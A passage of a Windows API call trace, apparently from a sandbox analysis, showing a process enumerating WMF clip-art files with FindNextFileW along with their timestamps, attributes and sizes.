ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2b32, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD20013_.WMF", cAlternateFileName="")) returned 1 [0217.739] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00008_.WMF", cAlternateFileName="")) returned 1 [0217.739] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x265a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00012_.WMF", cAlternateFileName="")) returned 1 [0217.739] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1eb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00045_.WMF", cAlternateFileName="")) returned 1 [0217.739] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00098_.WMF", cAlternateFileName="")) returned 1 [0217.739] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00105_.WMF", cAlternateFileName="")) returned 1 [0217.739] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00122_.WMF", cAlternateFileName="")) returned 1 [0217.739] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd5c704c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd5c704c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6396e0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00130_.WMF", cAlternateFileName="")) returned 1 [0217.739] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdbb058, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcdbb058, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd5c704c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00148_.WMF", cAlternateFileName="")) returned 1 [0217.740] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdbb058, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcdbb058, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd5c704c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00152_.WMF", cAlternateFileName="")) returned 1 [0217.740] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcdbb058, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf92, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00194_.WMF", cAlternateFileName="")) returned 1 [0217.740] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcdbb058, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f86, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00195_.WMF", cAlternateFileName="")) returned 1 [0217.740] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2458, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00234_.WMF", cAlternateFileName="")) returned 1 [0217.740] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd5c704c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00242_.WMF", cAlternateFileName="")) returned 1 [0217.740] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcdbb058, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x386c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00247_.WMF", cAlternateFileName="")) returned 1 [0217.740] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00248_.WMF", cAlternateFileName="")) returned 1 [0217.740] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcdbb058, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1264, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00252_.WMF", cAlternateFileName="")) returned 1 [0217.740] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd685b3d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00254_.WMF", cAlternateFileName="")) returned 1 [0217.741] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd65f8ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00261_.WMF", cAlternateFileName="")) returned 1 [0217.741] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd65f8ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00262_.WMF", cAlternateFileName="")) returned 1 [0217.741] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd65f8ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1678, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00265_.WMF", cAlternateFileName="")) returned 1 [0217.741] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6396e0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00267_.WMF", cAlternateFileName="")) returned 1 [0217.741] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd5c704c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd5c704c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd5c704c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00269_.WMF", cAlternateFileName="")) returned 1 [0217.741] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd65f8ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00270_.WMF", cAlternateFileName="")) returned 1 [0217.741] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6396e0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00273_.WMF", cAlternateFileName="")) returned 1 [0217.741] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd5c704c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd5c704c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6396e0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1044, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00274_.WMF", cAlternateFileName="")) returned 1 [0217.741] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd5c704c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd5c704c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6396e0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00296_.WMF", cAlternateFileName="")) returned 1 [0217.741] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x332e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00390_.WMF", cAlternateFileName="")) returned 1 [0217.742] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd685b3d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd685b3d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x69aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00392_.WMF", cAlternateFileName="")) returned 1 [0217.742] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd685b3d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd685b3d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00524_.WMF", cAlternateFileName="")) returned 1 [0217.742] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd685b3d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd685b3d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2576, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00525_.WMF", cAlternateFileName="")) returned 1 [0218.613] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd65f8ed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd65f8ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd685b3d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00526_.WMF", cAlternateFileName="")) returned 1 [0218.613] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd65f8ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2cec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00648_.WMF", cAlternateFileName="")) returned 1 [0218.613] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd685b3d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd685b3d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1138, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00921_.WMF", cAlternateFileName="")) returned 1 [0218.613] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd65f8ed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd65f8ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1870, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00923_.WMF", cAlternateFileName="")) returned 1 [0218.613] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd65f8ed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd65f8ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd685b3d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4c14, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00932_.WMF", cAlternateFileName="")) returned 1 [0218.613] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd65f8ed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd65f8ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd685b3d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xeb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00985_.WMF", cAlternateFileName="")) returned 1 [0218.613] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd16, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOAT.WMF", cAlternateFileName="")) returned 1 [0218.614] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x714c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOATINST.WMF", cAlternateFileName="")) returned 1 [0218.614] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00076_.WMF", cAlternateFileName="")) returned 1 [0218.614] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00078_.WMF", cAlternateFileName="")) returned 1 [0218.614] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f26, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00092_.WMF", cAlternateFileName="")) returned 1 [0218.614] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x94a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00100_.WMF", cAlternateFileName="")) returned 1 [0218.614] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00135_.WMF", cAlternateFileName="")) returned 1 [0218.614] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x876, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00136_.WMF", cAlternateFileName="")) returned 1 [0218.614] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00145_.WMF", cAlternateFileName="")) returned 1 [0218.614] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, 